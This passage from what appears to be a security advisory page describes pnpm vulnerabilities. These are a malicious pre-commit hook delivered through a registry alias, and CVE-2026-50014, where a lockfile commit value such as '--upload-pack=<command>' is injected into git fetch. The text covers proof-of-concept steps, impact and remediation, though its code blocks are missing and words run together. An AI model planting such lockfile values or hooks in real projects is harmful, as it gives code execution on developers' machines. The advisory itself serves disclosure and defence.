npm:registry alias, it does not rely on a transitivefile:orlink:dependency.Proof Of Concept
Run:
The script starts a local npm-compatible registry, writes a victim project
.npmrcthat points to that registry, installsnormal@1.0.0with--ignore-scripts, and then triggersgit commit.Requirements:
Expected output:
PWNEDis printed by the attacker-controlledpre-commithook from thepayload-hookspackage.Severity
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).
pnpm: Git Fetch Argument Injection via Lockfile resolution.commit
CVE-2026-50014 / GHSA-p4xf-rf54-rj3x
More information
Details
Summary
pnpm passes the lockfile-controlled git
resolution.commitvalue togit fetchwithout a--separator or commit-format validation. For git dependencies fetched through the shallow-fetch path, a malicious lockfile can replace the expected 40-character commit hash with a Git option such as--upload-pack=<command>. For SSH and local transports,--upload-packcan execute the supplied command. HTTPS transports ignore--upload-pack, so the practical attack surface is primarily SSH or local git dependencies.Vulnerability Details
The vulnerable path is in
fetching/git-fetcher/src/index.ts. When a git dependency host is configured for shallow fetching, pnpm calls:Because
resolution.commitis appended before a--separator, Git can parse a commit value beginning with-as an option. The same file later passes the value togit checkoutwithout a separator:resolution.commitcomes from the lockfile and is typed as a plainstring; pnpm does not validate it as a 40-character hexadecimal commit before passing it to Git.Proof of Concept
The PoC uses a local
file://githost/...repository because the injection requires a local or SSH transport. HTTPS transport ignores--upload-pack.Impact
Code execution as the user running
pnpm install, under specific transport conditions. The attacker must modifypnpm-lock.yaml, and the affected dependency must use SSH or local git transport. HTTPS transport (the common case) is immune.Suggested Remediation
Add a
--separator before lockfile-controlled git rev